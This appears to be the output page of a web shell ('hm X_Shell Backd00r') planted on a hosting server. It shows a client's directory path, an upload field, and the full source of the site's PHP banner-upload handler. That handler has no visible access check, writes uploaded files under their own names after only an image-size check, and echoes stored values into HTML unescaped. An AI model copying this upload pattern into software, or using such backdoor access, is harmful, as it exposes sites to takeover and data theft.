[#] hm X_Shell Backd00r [#]

Current Path : /var/www/clients/client35/web46/web/admin/AppController/
Upload File :
Current File : /var/www/clients/client35/web46/web/admin/AppController/guardar_banners.php

<?php 

    require_once '../models/Slid.php';

    $id_slid = (isset($_REQUEST['id_slid'])) ? $_REQUEST['id_slid'] : null;
    $slid = new Slid();
    $slid->caducarBanners();

    
      
        $link = ($_POST['link']);
        $posicion = ($_POST['posicion']);
        $ultimo_dia = ($_POST['ultimo_dia']);
        $visible = ($_POST['visible']);
        $alt = ($_POST['alt']);

        $cadena = $_FILES['url_slid']['name'];
        $cadena_limpia = sanear_string($cadena);

        $new_cadena_limpia = 'img-banner/'.$cadena_limpia;

        $slid->setUrl_slid($new_cadena_limpia);
        $slid->setLink($link);
        $slid->setposicion($posicion);
        $slid->setUltimo_dia($ultimo_dia);
        $slid->setVisible($visible);
        $slid->setAlt($alt);

//-------------- subir archivo -------------------------------->
        
      
    
        $ruta = '../../img-banner/'.$cadena_limpia;
        
     
        $size=getimagesize($_FILES['url_slid']['tmp_name'], $target_path);
        $ancho_imagen = $size[0];
        $alto_imagen  = $size[1];
     
         

        if(($ancho_imagen<980 and $ancho_imagen>900 ) and ($alto_imagen<320 and $alto_imagen>290) ) 
        { 
                move_uploaded_file($_FILES['url_slid']['tmp_name'], $ruta);
                $slid->guardar();
             
        }
        else{


          }
//------------------- End ------------------------------------->
    

echo '

      <li class="list-group-item alert-succes">
        <div class="row">
          <div class="col-md-6 titulo-banner"> Banners sin uso:&nbsp; 
              <label class="radio-inline"><input type="radio" id="rb1" value="1" name="rbt1" >Visibles</label>
              <label class="radio-inline"><input type="radio" id="rb2" value="2" name="rbt1" checked="checked">Ocultos</label>
          </div>
          <div class="col-md-4"></div>
           <div class="col-md-2" style="color: #337ab7;">
              
           </div> 
        </li>

<ul class="list-group">
     
       <li class="list-group-item" style=" backgound-color: red; background-color: rgb(239, 242, 240);">
        <div class="row">
          <div class="col-md-2">Nombre del Banner</div>
          <div class="col-md-1">Link</div>
          <div class="col-md-1">Posicion</div>
          <div class="col-md-3">Fecha de Caducidad</div>
          <div class="col-md-1">Visible</div>
          <div class="col-md-3">Referencia Google</div>
          <div class="col-md-1">Opciones</div>
           
          </div>
        </li>
        </ul>

 <ul class="list-group lista1">
 ';


    $slid = Slid::recuperarTodos();  
    
  $c = 0;
    foreach($slid as $item): 
    $banerv[$c] = $item["id_slid"];
  $banerv2[$c] = $item["visible"];
    //var_dump($item["visible"]);
   
 if ($item["visible"]==1) {
     $alert='alert alert-success';
     $imp="Si";
     $estilo="display: block;";
   }elseif ($banerv2[$c]==0) {
     $alert="alert alert-danger";
     $imp="No";
     $estilo="display: none;";
   }

     if (!empty($item["link"])) {
          $icon = "ok";
          $color = "#3c763d;";

   }elseif (empty($item["link"])) {
          $icon = "remove";
          $color = "#B82015";
   }

      $new_cadena = sanear_string($item['link']);

echo'
       
        <li id="'. $banerv[$c].'"  class="'.$alert.'" list-group-item" style="'.$estilo.'" >
        <div class="row">
          <div class="col-md-2">
            <a rel="prettyPhoto[myGallery]" title="Previw del Banner" href="../../'. $item['url_slid'].'" id="rec2">
            <span class="glyphicon glyphicon-eye-open"></span>&nbsp; Ver Banner</a>
          </div>
          <div class="col-md-1"><span class="glyphicon glyphicon-'.$icon.'" style="color:'.$color.'; cursor: row-resize;"></span></div>
          <div class="col-md-1">'.$item['posicion'].'</div>
          <div class="col-md-3">'.$item['ultimo_dia'].'</div>
          <div class="col-md-1">'. $imp.'</div>
          <div class="col-md-3">'.$item['alt'].'</div>
         
          <div class="col-md-1">
                <span class="glyphicon glyphicon-pencil edit-banner" 
                  data-idSlider="'.$item['id_slid'].'"
                  data-slink="'. $new_cadena.'"
                  data-slposicion="'. $item['posicion'].'"
                  data-sldia="'.$item['ultimo_dia'].'"
                  data-slvisible="'.$item['visible'].'"
                  data-slalt="'. $item['alt'].'"

                  data-toggle="modal" data-target="#myModal2">
                </span>  &nbsp;&nbsp;
              <span class="delete-banner glyphicon glyphicon-trash" style="color: #B82015;" data-id_slid="'. $item['id_slid'].'"></span></div>       
          </div>

        </li>
      
';
     $c++;
        endforeach; 
  echo'
</ul>
   <div id="resultado"></div>


';


//------------------- Sanear String de imagen-------------------------->
function sanear_string($string)
{

    $string = trim($string);

    $string = str_replace(
        array('á', 'à', 'ä', 'â', 'ª', 'Á', 'À', 'Â', 'Ä'),
        array('a', 'a', 'a', 'a', 'a', 'A', 'A', 'A', 'A'),
        $string
    );

    $string = str_replace(
        array('é', 'è', 'ë', 'ê', 'É', 'È', 'Ê', 'Ë'),
        array('e', 'e', 'e', 'e', 'E', 'E', 'E', 'E'),
        $string
    );

    $string = str_replace(
        array('í', 'ì', 'ï', 'î', 'Í', 'Ì', 'Ï', 'Î'),
        array('i', 'i', 'i', 'i', 'I', 'I', 'I', 'I'),
        $string
    );

    $string = str_replace(
        array('ó', 'ò', 'ö', 'ô', 'Ó', 'Ò', 'Ö', 'Ô'),
        array('o', 'o', 'o', 'o', 'O', 'O', 'O', 'O'),
        $string
    );

    $string = str_replace(
        array('ú', 'ù', 'ü', 'û', 'Ú', 'Ù', 'Û', 'Ü'),
        array('u', 'u', 'u', 'u', 'U', 'U', 'U', 'U'),
        $string
    );

    $string = str_replace(
        array('ñ', 'Ñ', 'ç', 'Ç'),
        array('n', 'N', 'c', 'C',),
        $string
    );

    //Esta parte se encarga de eliminar cualquier caracter extraño
    $string = str_replace(
        array("\\", "¨", "º", "-", "~",
             "#", "@", "|", "!", "\"",
             "·", "$", "%", "&", "/",
             "(", ")", "?", "'", "¡",
             "¿", "[", "^", "`", "]",
             "+", "}", "{", "¨", "´",
             ">", "< ", ";", ",", ":",
              " "),
        '',
        $string
    );


    return $string;
}
//------------------- End Saneado -------------------------->
    
    
?>

Mr.hm X_Shell Backd00r 1.0, Coded By Mr.hm X_Shell Backd00r